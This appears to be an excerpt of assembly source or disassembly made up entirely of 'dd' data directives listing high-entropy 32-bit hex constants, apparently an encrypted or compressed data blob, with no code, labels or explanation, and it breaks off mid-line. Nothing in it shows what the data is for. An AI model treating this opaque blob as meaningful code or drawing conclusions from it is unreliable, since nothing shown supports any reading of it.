dd 9DF91252h, 5913D910h, 4C55CD03h, 2025EC3Eh, 0E674F481h dd 35551AF8h, 0B6307299h, 9380383Bh, 42381305h, 0FB5344EEh dd 295C21FEh, 214B51E4h, 9769FF7Ah, 19CDD14Bh, 0C21B40A2h dd 0D13545FDh, 0FB67E1C5h, 0D53E314Ch, 79D3FC91h, 0E4A2664Dh dd 89535F40h, 47751409h, 691D1A7Ch, 7C40D292h, 0A1B7D44Fh dd 3923F6F2h, 7C80D7A5h, 0DED50F25h, 95BA477Dh, 6E653F93h dd 104A02CCh, 3536B8D6h, 8D80B6B7h, 1D7D958Dh, 3A70BC7Fh dd 0E4C4BD4Dh, 9DF5315Ah, 3F36561Fh, 81465A20h, 0C2893FC9h dd 0CD08C4E3h, 6ABE90D7h, 980FB9CCh, 33AC777Bh, 6BA8D695h dd 1D3BA5D8h, 466E3126h, 0BE5A8BC1h, 0AC510313h, 0FCF524DEh dd 18C6ABB2h, 79E55D04h, 6F86A619h, 37DC673Ch, 0C4DFF52Ch dd 0E81DBA28h, 4DB92B07h, 0C865B69Dh, 725A0B97h, 79BFA4EBh dd 0CBFD047Bh, 0CC2F45FDh, 170A0028h, 253A0D37h, 3899884Dh dd 1A78709Dh, 399719B7h, 0C7B7A0B0h, 3DC9F217h, 55844101h dd 0A25A964Bh, 0BEAACB63h, 307DB628h, 85C042Ah, 0C9107BBFh dd 262648B7h, 0C50DCA1Ch, 0FAE170D1h, 0FEF92386h, 6309250Bh dd 84F9B36Ch, 2C7D1ABDh, 0C7A36831h, 95211BD2h, 93C84115h dd 102A7211h, 480165CFh, 52545981h, 5A35D53Fh, 2D4CEC5Eh dd 28AF5DCBh, 8CDA2A78h, 4C8B5CE6h, 493579Dh, 24B405E7h dd 5CA35B74h, 23E3188h, 0BECA92D0h, 3D10479Eh, 0D4C58D71h dd 5E9CE8EDh, 0B2829636h, 36B93461h, 0BC948FF1h, 0FFF20246h dd 8F75F3A4h, 0DFA5BDB5h, 8624CD55h, 42319A95h, 8009D646h dd 30AB48A7h, 2DE8D139h, 8D2522D9h, 44A47DAh, 0BB3541A7h dd 1633BB4Eh, 82A52EECh, 49169177h, 0EEA476C9h, 0A327423Ah dd 9B087554h, 2380C58Dh, 5CF0F1C6h, 0F37D391Eh, 93168757h dd 0B780CD13h, 0C80C9BECh, 27E3AB65h, 90EEF235h, 2B4E6444h dd 63F60E11h, 6B8F0C9Dh, 26FCF415h, 0B6232C9h, 3366E3B1h dd 0FF930787h, 2516A285h, 0DFCD53AEh, 83F90381h, 8764C24Fh dd 3E03FAE6h, 3F9F92A3h, 0FE37BF3Eh, 9895C39h, 0EDF83DAh dd 6088D4D9h, 0CD9D43F9h, 311F32C7h, 596DF39Eh, 0B6D8E978h dd 0A70C623Ch, 30237ACh, 0FC3F73B8h, 0C9F6A18Eh, 21BD52FCh dd 7F696A56h, 0F5F79B16h, 8AA26534h, 18D6A5EEh, 3A087DCDh dd 3BF07F19h, 8B840220h, 78625DFBh, 831D009h, 316E9802h dd 0C11D7F7Eh, 0CC444760h, 0E44D7285h, 66FA5092h, 0DB1CFEB8h dd 0BF33AEB3h, 0F2013C67h, 0FA5F9F29h, 505F7D8Bh, 44ACCFB3h dd 3CF65392h, 79D5EE3Bh, 695EEC35h, 0B295628Ch, 8CD6E774h dd 8EE6F879h, 9150A60Ch, 0DC4D4FF6h, 0A212244Ch, 536A42E5h dd 6897600Dh, 0D4F5BDC7h, 9A1EA52Bh, 0EF183CFAh, 2FB0186Eh dd 0BA27BBC7h, 281A2FA9h, 420B44F4h, 28F0A113h, 13893AA4h dd 793AD110h, 0DA69A084h, 0BC4AA8EAh, 42FA2A7Ah, 0A032AAA8h dd 6939460Bh, 0E4D06450h, 0D7F8BB13h, 0E4AFD1E8h, 74725556h dd 6BAC99Ah, 1A9BEB0Fh, 619DE579h, 3F6BFBF2h, 9765A504h dd 54E5A6Dh, 4DB226D9h, 37774D56h, 9CE92F30h, 6E628382h dd 0BB0C46A1h, 64C36EF8h, 0E480A69Dh, 0D15F7573h, 0AEB19A30h dd 4060165Eh, 523F991Eh, 0C0996E0h, 2DB9D7BBh, 13BB839Dh dd 0C1158D7Fh, 78250DF4h, 3A85D956h, 0AAB45F21h, 0E1ECD4C6h dd 661D99F8h, 994049Ah, 95AC9A05h, 1FF964EDh, 0A7D0CE22h dd 0EEF50119h, 0D170893h, 97E3C1AAh, 412BDD98h, 24A83E15h dd 25AA5B4Ch, 23466174h, 3DE6D623h, 22F4603Ah, 0B52DC98Bh dd 7CBCDB06h, 8516F966h, 3DD16905h, 0A4287C0Ah, 7A8EE69h dd 0B7FC50C0h, 0A5C6833Bh, 3FF8205Eh, 0C80EA6A9h, 0E3341AECh dd 0C4F0F822h, 159F533Fh dd 0A1EDFA40h, 0D0E86C4Fh, 35264624h, 41842EFEh, 6799E858h dd 0DB6641F7h, 651EF2CBh, 0D9B59C22h, 7BCEBFABh, 0E69CF75h dd 97D98942h, 395685A5h, 11042917h, 939A296Dh, 82C3D0E3h dd 778B2C3Dh, 0D1BA8226h, 73D9EC81h, 53A68BBFh, 0DD99ED43h dd 0C1CF7128h, 4C76A33Eh, 0C06E79CBh, 82C33C8Bh, 0D13B1111h dd 7318D3CCh, 62B72236h, 45410E08h, 60101C4Bh, 18F14EB3h dd 802C0AE3h, 4C58CDA4h, 113E42C2h, 74E120E5h, 0C713EB2Eh dd 0B96303B6h, 0DEC95626h, 1FC0B043h, 2CB97D92h, 0CDA8B9C6h dd 0E8836057h, 0F71DA9D7h, 0FBC536F9h, 2FA0D38Ah, 281286B0h dd 5E29116Ch, 50A49FD2h, 9098DC4Bh, 0CF591545h, 0F289BE8Dh dd 8B3F6197h, 0D3603317h, 8227A557h, 0D03DD75Eh, 29C90FB7h dd 70ED839Ch, 0B2955EB7h, 0D5B4F329h, 9075B5FCh, 0C94042EBh dd 0C094CF0h, 5023A7Eh, 3F483B59h, 9E8B023Dh, 93C0CAD6h dd 2B4317AEh, 23F9304Dh, 0C2938359h, 0F8CE191Ah, 0B375A71Ah dd 0FB2926DBh, 70A408Fh, 1BD500DFh, 6283D19Ch, 31534F0Bh dd 84F4F8CEh, 87E7A6DAh, 6227C902h, 0E8C31CBDh, 1EC8BDC1h dd 0BC895928h, 2AD467C9h, 55EE107Bh, 764C5A3Bh, 97EBA7F8h dd 983E6B69h, 0CC39FDE7h, 11DDFC4Ch, 31E1E7C2h, 3E4099B7h dd 1993E36Ah, 0EB146DE6h, 740BD425h, 28562FBCh, 0F2E4E88Eh dd 657E34E8h, 7FE68E4Bh, 0D10D0917h, 0B16529C7h, 644A5F12h dd 0D221834Fh, 864265C7h, 0BC4F6D3h, 73B5C0D1h, 7438E64Ah dd 6186504Dh, 2D19F8Ch, 5BD088A6h, 474919B1h, 7EC662D7h dd 2C7F4E05h, 59F48EE4h, 25FADB98h, 3E562DBDh, 86BD6C7h dd 9806440Ah, 7E3F29F7h, 964A2D9Fh, 0FA2530DAh, 2A718716h dd 0BD42EEC2h, 33376FA4h, 1F1EE8B6h, 0D6F83C18h, 1A966129h dd 0C3AECE1Ah, 5CF6B651h, 0D09707E0h, 0D9E68C10h, 8C3DEC3Ch dd 8907D5A4h, 0B2A6CA6Eh, 8E53FB0Eh, 523F1AF9h, 46C80442h dd 906A6BE1h, 0D6A6A1B3h, 0BF75C1Dh, 1FA9EF3h, 476F99A2h dd 19242645h, 0DAEA44DDh, 1F3CFFB4h, 69059B4Dh, 46036769h dd 42269E9Eh, 0E3628B96h, 3345D317h, 4690ADE5h, 59EDFAB6h dd 7E80B517h, 4E013568h, 0D7E70D1Fh, 456F99Ah, 0E49DB539h dd 6BF4217Dh, 859E993Ch, 3EE1CE30h, 0C797AAEDh, 5426B19Ch dd 5238DC4Ah, 0DD082444h, 6D89CF55h, 0AB02E32Bh, 55CB85B6h dd 66BC6ED6h, 3F766E53h, 7A821132h, 51DEFB68h, 9058DC2Ah dd 12F1E645h, 0F1CFA665h, 314DA199h, 25AA9DBEh, 902DC27Eh dd 0E927BD18h, 76872160h, 27A2ECD2h, 0B5BF4F76h, 3B6E6B2Bh dd 0ECDCB11h, 9B110AD9h, 0E142C4ADh, 6BD75F00h, 63728CDDh dd 0F9D7D6EEh, 28834C97h, 3A6D884Dh, 0C24C6B38h, 75026880h dd 6EB530E0h, 8A7F08E8h, 366DE993h, 1C19A202h, 170933EFh dd 61BA315Dh, 6FE4CEA1h, 0B4968485h, 96BF7DD6h, 0A4E17AF8h dd 15F38BFBh, 0FB97410Ch, 34349B70h, 0B67987Eh, 8738E14h dd 0EC4541C7h, 67C95CD8h, 694021D1h, 13547C12h, 2D41CE24h dd 0CD8A0B8Bh, 0C5F2EB98h, 36F758EDh, 373C9F6Fh, 0D25C8BC1h dd 0D203FB10h, 82A8BFB1h, 8CA1F69Bh, 8A608566h, 0B5897E2h dd 37E3CB38h, 8CAA8E58h, 0D6FFEF66h, 0CC813388h, 8F7B9F69h dd 0B6ACC653h, 0E42EA1C7h, 6DD0590Dh, 0E28E6378h, 178DE1F4h dd 813C4EF6h, 1ECCDE7Fh, 1625D567h, 4D601B69h, 0FE50A1A5h dd 50AAC018h, 905B45BDh, 885D44B9h, 0E5E579E5h, 97BDBDD6h dd 6B17B426h, 94A04E88h, 635370ADh, 0F3F33EEh, 0CB14BDE4h dd 9AAD45E8h, 0BC332D04h, 0B845DB8Dh, 248DE486h, 0DBAB46B6h dd 8ADBB5F4h, 959FEAC9h, 8471708Bh, 0DAB68916h, 3C36FE90h dd 0C8620BE8h, 0F6470367h, 81C9883h, 46802D0Dh, 0DF74D07h dd 0E3B1EC08h, 0DBE44DB6h, 9B2156F4h, 0CD646563h, 0CBC8F897h dd 905C8DEDh, 2948517Ah, 6D0445B3h, 4ECAA6F1h, 5A88CBE2h dd 21A59BB4h, 0ED34F79h, 7CFD5B0Dh, 0B3097250h, 92C662A9h dd 48BE08A0h, 7B6E155h, 0BE9B7E05h, 4D5D1989h, 3C550D4Ah dd 1D7FC34Dh, 675FAFA5h, 0FC068FC9h, 0FFE91FAAh, 0F8F8819Ch dd 32BC4BECh, 90286CFFh, 0E1EB6D64h, 25DD5E7Eh, 3D0ACE7Ch dd 36F49E04h, 8A9EBE52h, 70363DBFh, 31ED4EACh, 86304E4Dh dd 4B05B9C0h, 914526A4h, 1F9BE843h, 79D3E41Bh, 0A20549B1h dd 6B38043Dh, 0B3BA997h, 3673BD42h, 711F437Eh, 3FC560CBh dd 0ED54D7FCh, 2E211A27h, 6A0513A8h, 204FECE0h, 95D80EB0h dd 0AC97BBA3h, 9DEB4962h, 0F7A7BC08h, 58D9D4FBh, 6C7827EBh dd 0C0E0DB86h, 53A8815Dh, 330FC21Dh, 0B04A7F12h, 252E981Fh dd 9D5A8C6h, 1286FC11h, 0CD8EC407h, 64185448h, 0AD940EE4h dd 0E9836792h, 26EAED40h, 3B7CD2B2h, 0DEA256C1h, 58A6A414h dd 0EFF79DFh, 843C6797h, 33C5FDC2h, 55F5EF23h, 0BACD46EEh dd 11AFF0D8h, 0D9C612CEh, 18D39E16h, 0D9407E5Ah, 578F140Eh dd 5CD87DE5h, 0A294CAA2h, 1607B9FAh, 0DA4062ADh, 91E7F296h dd 0A87C0337h, 8D9A1BEEh, 35DF4A82h, 2003074Dh, 0AC5F6790h dd 570F2E59h, 776C628h, 50FDE714h, 35B1A688h, 0EB510AA7h dd 59CBBC14h, 0EF68B3C7h, 8B29CF5Ah, 244D097h, 0BF597BD1h dd 3D9DF637h, 0B07F7B72h, 8E9C560Bh, 1F1F1A2Ah, 0C1AB0B59h dd 2FA93E64h, 80984916h, 5625C30Dh, 7DD63085h, 3C558D36h dd 64241E11h, 90BB273Ah, 0A47A5213h, 38A62810h, 1A8CE2E0h dd 0E9867AB5h, 36FCAF47h, 0BC1FB0CDh, 0D98F54C2h, 931FC405h dd 0CD23DBB8h, 3D2B24E1h, 99124D73h, 5A83B730h, 4282625Bh dd 29567B94h, 0DF3155A8h, 0C7F372A2h, 0AA137A45h, 995F0B32h dd 34000769h, 3A48D07Eh, 0BC7CC903h, 4A8092F9h, 45D1C6DBh dd 88FB65Dh, 6E826EEAh, 0BE31E665h, 0BDCE9AA4h, 0E53A34D2h dd 0F626A5AEh, 92870D22h, 415278AEh, 365D345Fh, 0CA326ABh dd 3E50CDEAh, 3BBE2E1Fh, 658D09A0h, 0F1D5C086h, 351E8774h dd 8146DB1Ah, 0BE61139Fh, 8AFD033Ah, 0BCC22CCAh, 3F9BCCA8h dd 43E5F28Eh, 40046C97h, 1EAD326Fh, 529B676h, 3E116F56h dd 0BEA38191h, 0CCC77FF4h, 59B620ABh, 0BC9951D6h, 0D268574Dh dd 8020AED9h, 0B38E498Fh, 0EF008C44h, 0AA7B71FFh, 0C824AB4Bh dd 0A22474F1h, 19456D4Ah, 5F0E6DCBh, 97F26696h, 479ADD33h dd 0ADF08141h, 44B6E80Ch, 0F1205E1Eh, 5A887CF6h, 0AF9FB949h dd 0D141C3B5h, 0FEE4CB83h, 114B490Ch, 38CAB906h, 0ECFDEA83h dd 59AF016Eh, 0B06C4E1Ah, 664087C8h, 0CC834DA5h, 33AE1CD6h dd 0B7F33BB6h, 7187EB1Ah, 0BF3E937Fh, 396D4A86h, 5D9D8E67h dd 0C72E55C4h, 0E8BA6115h, 0A7ABB15Ch, 19313978h, 0D7D55165h dd 5348736Dh, 4B00102Dh, 27DE3332h, 6F1872Ch, 0F6BC7CACh dd 86B81BEEh, 258A53D4h, 1B0B610Eh, 88AE4D64h, 0C250C049h dd 0DFD2FE30h, 0E3A36Eh, 9C409465h, 0A57092E4h, 79BDBB6h dd 0BB358469h, 0FFAA5F49h, 4E633CE3h, 51583959h, 0BE595255h dd 0ABCF4E8Eh, 9D83DF06h, 0D6EFBC12h, 583535Eh, 0C84EDAB8h dd 0AE9A9DEDh, 0F4A6BF95h, 319386A3h, 1EF172D1h, 0C2D10A18h dd 230944Bh, 617AAFE8h, 4B72155Eh, 809C1BF3h, 41CC75AFh dd 7ED90C4Dh, 1C6196FAh, 8D5012E2h, 973EECD6h, 90CCF01Ch dd 0A13495DCh, 974D3836h, 6FDB91F1h, 7D5A971h, 473D0F68h dd 783DBA1Fh, 3FC2E02Ch, 55CEF08Bh, 59635074h, 0F90798CAh dd 0D4C7DA3Bh, 4B47DEF5h dd 0A3521612h, 90953F0h, 8B29A30h, 3F3554ACh, 0C00DE2C2h dd 0E337B2E5h, 0E62D805Ah, 6DFFD385h, 0F619D4FAh, 0BF3BE483h dd 0D01240CEh, 0D3E34742h, 0C68F5B58h, 85CA36C9h, 49F2B70Dh dd 0F13DEE37h, 94441A6Ch, 7A23C6EDh, 55BF24B9h, 8ADCF714h dd 58265086h, 0D3287FEFh, 48E04D2Ah, 2F109210h, 3C19CB09h dd 308E8808h, 913AEF34h, 6F597AEh, 0C8BF1F36h, 20B5495Dh dd 355CD34Dh, 0B152F3D9h, 0D744E5F9h, 0B1211136h, 945B4262h dd 112B288Ch, 0A729E77Dh, 0F4845C96h, 0A32B74BFh, 0F84EAA68h dd 2A16EE20h, 0D1F2CFE2h, 4770E0E5h, 0D6F0AD0h, 6B30E668h dd 0F79E7AE1h, 0C3FD2BE1h, 0F8AF824Fh, 9A82590h, 38692E06h dd 3E819148h, 18E0D13h, 0D517B093h, 679227A1h, 0B72E1309h dd 98A43E58h, 5DCCBFB2h, 9625C410h, 9063816h, 61D3130Bh dd 5DB5ACE6h, 0C200E93Fh, 4C01CB0Fh, 0BAD525D9h, 6CDC0673h dd 0E3CD025h, 22E33B63h, 0DA5340A4h, 6F7BAC9h, 0EE6A997h dd 0E9E262B3h, 0C7A25C19h, 69817984h, 0B9D6C484h, 18FB4C43h dd 6BE0ED27h, 0D4A3B0Eh, 16B4A1ABh, 0B5E7BADAh, 92A55AC3h dd 4A257552h, 95EA73A6h, 7F987901h, 93A5C2F3h, 0C1587832h dd 0DFEE88F6h, 0BA2C3947h, 0C963E5FFh, 8FF82860h, 6F1200C7h dd 16BC6717h, 69B662ECh, 0E01FC01Eh, 95FC651h, 0BBAE110Ch dd 8FE4C8A8h, 0EDA2F6A1h, 0C35BA1BAh, 0FFDE4B3Eh, 35476D11h dd 43965C04h, 2752349Ah, 0DC82480Fh, 6078AFD5h, 0CCB4F6CDh dd 0A67CB1BBh, 0C4CC938Bh, 86876AB9h, 9265593Dh, 0BAB609F3h dd 0D4D8650h, 0D0F36ED7h, 0F26F804Eh, 0F621465h, 5D7BBF8Bh dd 0A8EC33ABh, 453F9BF1h, 340A2C7Ah, 3449C385h, 78CD46E1h dd 0ABBDA336h, 0B363F5FEh, 0CE6D9A9Fh, 0CA16E3B5h, 0F63510Eh dd 0AE85DE2Ch, 3D90438Eh, 2C6D7520h, 17E063C8h, 0C9DC5783h dd 67CE26ECh, 43AC7928h, 0A2AF6D2h, 0B859637Fh, 4A45C895h dd 0BBD22AF0h, 3108791Ch, 1788599h, 0D5779CA8h, 0BC68D6E2h dd 83289C18h, 2001E8B8h, 0CC8909ADh, 9FB238ABh, 34526D11h dd 0AD465602h, 0A4E581B7h, 0D5F4E6DCh, 69313A5Ch, 8234683Eh dd 5EF3EC5Ch, 0BD4EAA0h, 424013E7h, 1BA74D63h, 6EC2F142h dd 2763EDE6h, 859B832Bh, 0D6E1C76h, 0D95CA004h, 0DA24DA90h dd 0ED9BA16Eh, 9C202CCh, 6D6FC6FCh, 53681DE7h, 6F010AADh dd 64AEF459h, 84C5D02Bh, 2E592A33h, 1B7D7E2Fh, 568E2904h dd 0C8CDE668h, 9C148346h, 0CB537C06h, 0CC18544h, 940627F1h dd 21E2FE19h, 4559CB3Bh, 9C278C64h, 261236C1h, 0E265F84Ah dd 8BA9F169h, 0D1862B15h, 7DBB91DBh, 4C9649D1h, 829F4D5Dh dd 4847C994h, 0E49F2E15h, 35A3FD75h, 81B3CF00h, 2E231917h dd 0DB8CFCE8h, 0C0C71B85h, 2950249Ch, 0F7FA3007h, 66C88E2Eh dd 0F30776Eh, 0EF5CF966h, 0D4E7E62Fh, 0FF4675F6h, 5910EFA7h dd 0C8E8FDEh, 3DAAB0A2h, 0C2C20CE9h, 432EA53h, 4A81A5C3h dd 0EB20CED0h, 8A5A73Bh, 7722E368h, 627F8E69h, 0A9C91E7h dd 46027762h, 6BD36C54h, 8B283866h, 30802B8h, 0D6484758h dd 0E9CE678Ah, 0DB5ABA56h, 0BB1DE74Ch, 6AA5F521h, 0D3E62344h dd 7D13BB19h, 0F80834A4h, 0D89CA24h, 74DCFC50h, 1930F7C7h dd 0CA84078Ch, 0E71A5EEDh, 0E09AB196h, 6FAF7D2Ch, 92767783h dd 1760FC80h, 0BFCD58E8h, 2FBBB22h, 0EBCA01DDh, 55FB14C2h dd 29F62451h, 0A3FFAFC2h, 2E6BFAE1h, 0D5AD89B9h, 0C20EC56Ch dd 0FC3DAA5Fh, 5D1FCA6Ch, 0D09419CAh, 7C420D0Bh, 0BEEAAF1Ch dd 90257FF9h, 17BE09D7h, 909153C6h, 3980CDFEh, 0DE207E6Eh dd 0A4F5EA6Ch, 62E550FDh, 0C948A4B1h, 49A2C06Eh, 0D2946210h dd 0E5BA4DE3h, 64728B74h, 7B21DDEAh, 3A95251Bh, 205E15D8h dd 0CDC44618h, 9C197021h, 2CBD55C0h, 7C7F2498h, 0F52061B1h dd 0D5568D02h, 0C21EA324h, 1A2B9B90h, 0BF6C118Ah, 0E828755Ch dd 442B3E6Ah, 0B533982Ah, 74318CE2h, 0D5CA2576h, 41274C58h dd 211F0C18h, 0BFF14CE5h, 844DB601h, 0E0969CB9h, 5DEE99F6h dd 0FAF9525Dh, 796ABC39h, 6E0F2A24h, 30671DD0h, 7595E0E5h dd 61D35238h, 4F8EB118h, 578E4544h, 58C869A6h, 5FD08DD9h dd 0A135BAA3h, 4F3FF65Ah, 1B591DE7h, 0E4CDD71Bh, 3475351Ah dd 0EC48D223h, 16F214F6h, 4BBB12DAh, 9FD0E9FAh, 6B11F4Ah dd 3B400E04h, 2D090836h, 5ACF3AAFh, 9AC51731h, 0F41ADF95h dd 39F819FFh, 61005B6Dh, 72512E0Ah, 774C6B0Ch, 28BE2807h dd 6ED04282h, 6595AF7Eh, 2A2B8FE1h, 9F6D96BAh, 3667A5B7h dd 82759E0Ah, 5764E0FEh, 8F0ACF56h, 0BD315DFFh, 0F2D051FBh dd 1FCF883Ch, 5AEFF0C3h, 0AF01C0D7h, 7483F802h, 0C30EFD90h dd 1E6F0902h, 9D2EBF53h, 3061A062h, 0C5849DA5h, 114B1685h dd 8F4EDC7h, 30B2D261h, 0D1DF9889h, 27BFD717h, 0F4D84AB5h dd 0A7013D42h, 0B79AAF82h, 112B6E17h, 0C5A40B66h, 26AAF74Ch dd 6EB0E5ABh, 0D7D95761h, 1E4FAFEDh, 328E155Dh, 0BF10DE98h dd 0E2F26CABh, 4CDCCA78h, 0BFEA00FCh, 0D495D3CEh, 2CE62C00h dd 0C934836Ah, 9E630E0Ah, 0B7D1852h, 28789242h, 0F46FD733h dd 7ED36AA8h, 67B69C4Bh, 5286811Eh, 0D4817426h, 0CB2F400Dh dd 3983C323h, 9BDC384Eh, 0A7BFF100h, 2B9D6470h, 52889305h dd 6EB1FCE9h, 47C8A18Bh, 2A8DDE3h, 4483A947h, 3E3A4BF3h dd 0D7C2B9FFh, 0E45BDEDAh, 905F5FB9h, 0B483AD2Ah, 691E3D4Bh dd 9DC28B66h, 67FB01D6h, 367B3B88h, 0A32C33F6h, 0F4B13666h dd 0E214074Eh, 492E39h, 0CEE7AEF0h, 1342E63Eh, 0FE827AD7h dd 0A17E5568h, 97DAE0BFh, 0FDC819F9h, 70D3DF46h, 0E9F5D51Eh dd 0CFCC6D56h, 832D3721h, 4078ACB7h, 20258CA2h, 8235F7DBh dd 82A8443h, 6C1DDF25h, 0B9ED2F3Ch, 912E204Ah, 0BC9964EAh dd 0FC40B458h, 0F672E83Eh, 3C7BA48Bh, 78D07F89h, 0D36EE038h dd 814CE10Bh, 7EB6D599h, 0B79D3D88h, 0C7CEFCC3h, 0A4E06A7Fh dd 0F24AECB2h, 0EAEAF2BEh, 7775AED4h, 5256B10Ah, 91631036h dd 95C36537h, 0AE6E7EA6h, 0A6D46C5Fh, 25DF7484h, 1BF9DB9Bh dd 91C5771Bh, 0EAC1A740h, 3B7D1510h, 0DFA9B8F2h, 9A6B994Eh dd 2183D30Fh, 0BB05CABh, 0FC014CBCh, 7B7B73DEh, 41529C8h dd 753373F4h, 2C3CDB37h, 419517EDh, 0DEDAA10h, 654A5F2Dh dd 2ED83965h, 0A558B25Bh, 0F7874512h, 1681EE6Dh, 74A8298Fh dd 738445CFh, 0C4F8AECCh, 0AD6C1966h, 82075B6Dh, 8D2F9CE3h dd 0A78737FEh, 507BF4F6h, 986C82Eh, 0AF24F09h, 178C2829h dd 635DD3C8h, 0DBBA2744h, 3B927A8Eh, 0F4442443h, 0C170C648h dd 35697672h, 0B5AA3AD6h, 84DE6129h, 512E7A45h, 2F3940E1h dd 0C2D7B597h, 0A52C4AFCh, 0C7531CFCh, 0D7AD1401h, 0DFF710F2h dd 0B68F4587h, 326C3A4Fh, 0D9E0F065h, 0CB5C4478h, 0B17ECEF5h dd 0EE54D939h, 47B52D88h, 0F72F2DA2h, 55BAE48h, 5AC9D0E4h dd 93D691CDh, 8BEA6EFFh, 650714B5h, 0D528E732h, 73A8FE2h dd 520918A0h, 667EF9BBh, 20C8FE97h, 0B733D0E4h, 51387CB3h dd 0C6E58D87h, 0D24E484h, 9EBE6393h, 245BFEC0h, 0E9157594h dd 0EC9228B8h, 0F8710457h, 1ABF66E6h, 24CBAAA4h, 0E15DBB21h dd 0CF67B7FCh, 0A6DAC513h, 0C39AACFAh, 605CFE8Bh, 112B6D6Bh dd 60A6027h, 3D186C07h, 64D85E8Bh, 6F6BAD8Ch, 0C4F61C7Fh dd 8DCC9A6Ah, 0BAB29B47h, 1CEFC382h, 37D1ECB3h, 9B0E96B5h dd 0EA90A329h, 45015D2Bh dd 103CCC6Dh, 58E32A31h, 8313BBFh, 6BE56C8h, 117C7645h dd 9F32B14Bh, 600EE53Ah, 0E10D5BECh, 7B8509B3h, 0D8C3DF4h dd 1A9A216Fh, 80BF790h, 540211ABh, 0D0C7DDBFh, 0DC8BD9EFh dd 1CCC01AAh, 3564A73Eh, 7A774662h, 0A4AE76AFh, 3F5FD568h dd 0F43C4CF1h, 91745491h, 5C3F793Ch, 0A9C39F86h, 13EF58B4h dd 0BDF93DE5h, 6778E2A8h, 3344892Eh, 2D5BE561h, 7AA1AA34h dd 141BE829h, 0B9EBA368h, 5340DADh, 33A09076h, 410A9FB9h dd 0F5384D11h, 0D896235Bh, 855C3FE5h, 5B81C47Bh, 0DF654A40h dd 945DD9F6h, 0A74EC345h, 893E8EDAh, 0C34BE755h, 5D5ED725h dd 27B06F51h, 16F3B7Ah, 0B958529Dh, 0D56CDAC0h, 60F87E19h dd 51BF2A6Eh, 0E527B13Eh, 97E64C1h, 0CA32DB51h, 1D394BCBh dd 970EB3E1h, 0A0114AEh, 0C33FC9E4h, 3BC9BE7Eh, 30FCAF89h dd 82146E9Fh, 0EE2DD1DAh, 0E2A77329h, 127223E6h, 2D4153B3h dd 83834805h, 78F3A857h, 0EC6E1FE6h, 7CA04E14h, 524BBBE2h dd 0C1034526h, 0EF33C53Ch, 0CDAB80A2h, 49070E16h, 63B7AB5h dd 9B4FC03Ch, 8C47417Eh, 0C9F6EA5Eh, 0B5016CFh, 0DB5147ABh dd 11BCA0B2h, 341BEC81h, 0B3F9E5F0h, 71CCD767h, 0BFC711D3h dd 512D334Fh, 746850AEh, 0B3B97D1Dh, 89470A26h, 67AC780h dd 57C5B796h, 5D5F5644h, 98F11E9Ah, 0E0286E91h, 0F495FEFBh dd 3027355Eh, 0A58D4C21h, 51305B36h, 0C13B9D73h, 0F8C532E2h dd 2F740801h, 0C07B1C43h, 0D61FF7ABh, 180584BEh, 0BD3749BDh dd 24ADCB92h, 57372D88h, 48860DD1h, 0F8561BCEh, 7382E3F8h dd 9A9562B5h, 5AA7F181h, 0EF1F26EBh, 3BD8A49Ah, 94937413h dd 0F626669Fh, 628EB05Ah, 5EA65746h, 7EB2CC1Ah, 0F8694EFFh dd 40D0EB6Ch, 16A5B0FBh, 0EC7D910Eh, 0E5AF8612h, 40FCA9DBh dd 639EBFC0h, 7E684F57h, 5C62E236h, 0E392AB8Fh, 6234CB8Fh dd 0FBE122F7h, 0E0880540h, 37BBFE82h, 51D75A41h, 26F162ADh dd 391B1D50h, 844D273Dh, 517DB9Dh, 115C89E9h, 5671A67Dh dd 46426A26h, 0A8047585h, 1054F3Ch, 0F6F14708h, 0F25284A7h dd 89B7AD41h, 539286F3h, 0FCE3E2AEh, 0E4CB18BAh, 76928AC3h dd 0E70733F0h, 0AF8A3DCh, 0F4DCC4B4h, 8868925h, 4F79F7C9h dd 7F5BFE71h, 7074518Ah, 3BB4CE0Dh, 0FA584CDAh, 7939F720h dd 19586143h, 9A40754h, 4C6C9C63h, 79D3F3CEh, 64E87A49h dd 4E02715Ch, 3A3B477h, 0AC4C83E5h, 25199085h, 0C7A04C95h dd 8F8888E9h, 0A86655E4h, 4B64D23Fh, 0A6BDCD97h, 0A4226B0Eh dd 0C614108Eh, 2427B803h, 0C4258ACh, 0A652C4CEh, 0F5B2D9E9h dd 781BEAAAh, 4850FEDFh, 2D1E6D44h, 0C00DD234h, 5DCC938h dd 0B093228Ch, 9BA7702Eh, 2DA95BA5h, 22CF7C3Bh, 0DC922652h dd 97FBC65Ah, 5853B468h, 33598064h, 785D0857h, 533E2B9Dh dd 0D7121251h, 13BDDB15h, 0EB03694Ah, 2E1B7055h, 0CB690861h dd 0C078D48Eh, 0B6BC4EF5h, 62438DC0h, 0F61AA3FDh, 0BBB55582h dd 0D87D8CFAh, 301F2F8Eh, 0D696E53Fh, 0E428C7Fh, 847AFEDFh dd 0D42CC3E1h, 0DE2A4A10h, 9D933F7Ah, 232DA851h, 0A959702Dh dd 0E71BA919h, 2C2061E0h, 4CE4BB3Ah, 92134ABEh, 0A642F408h dd 14F3B9Bh, 0F6195A54h, 9197525h, 0C975BA31h, 556633ADh dd 0D880D62Ch, 3CFA0FF2h, 9F4A2542h, 0E1598D4Bh, 0F9204BBFh dd 42AF49FFh, 0A7DC1E99h, 1211965Dh, 0B9A329DEh, 4BF01D70h dd 0C3CB29Ch, 0D6FD13E3h, 897E36A7h, 0B3968F6Fh, 202096C9h dd 0A12D8B71h, 1B5DC8Ch, 0A5813148h, 7CBBFF2Ch, 32938C4h dd 3BE02088h, 0D8BFD7DAh, 6E13C040h, 0B11DE282h, 0A01D4B7Fh dd 0A7320740h, 0F436092Dh, 0DEDE74E7h, 456E4F14h, 875619C5h dd 23FE0104h, 9BFE8353h, 4CA37A84h, 0EC494637h, 62BCA849h dd 6F8F85Eh, 107E8948h, 6E4767E3h, 4227D7EEh, 4C539820h dd 9DF4D75h, 0CF2FE557h, 7D730C75h, 0C8C7A50Ah, 0FD000E65h dd 0B3F00EE1h, 3B48A56Bh, 463CE966h, 0A3883FF7h, 151E9065h dd 60AC7508h, 5388895Ah, 0EFD1F65Bh, 1987D724h, 355B734Dh dd 58BB4DE9h, 0E9290E9Ah, 0E752E03Dh, 70AC3A89h, 0E0A7E3EFh dd 29ABE817h, 0C81CEDC7h, 243A18CEh, 0C4557C53h, 704DA603h dd 0A73EC5CDh, 8AA123ABh, 6D0CF289h, 8691A14Ch, 42F277A0h dd 5B0BE623h, 64D4CDB6h, 48F899F8h, 82B548B4h, 257E062h dd 0FEF0BD61h, 2A663FACh, 0C2742082h, 9F5A271Dh, 4338D362h dd 63AA2EE6h, 3FEC19F9h, 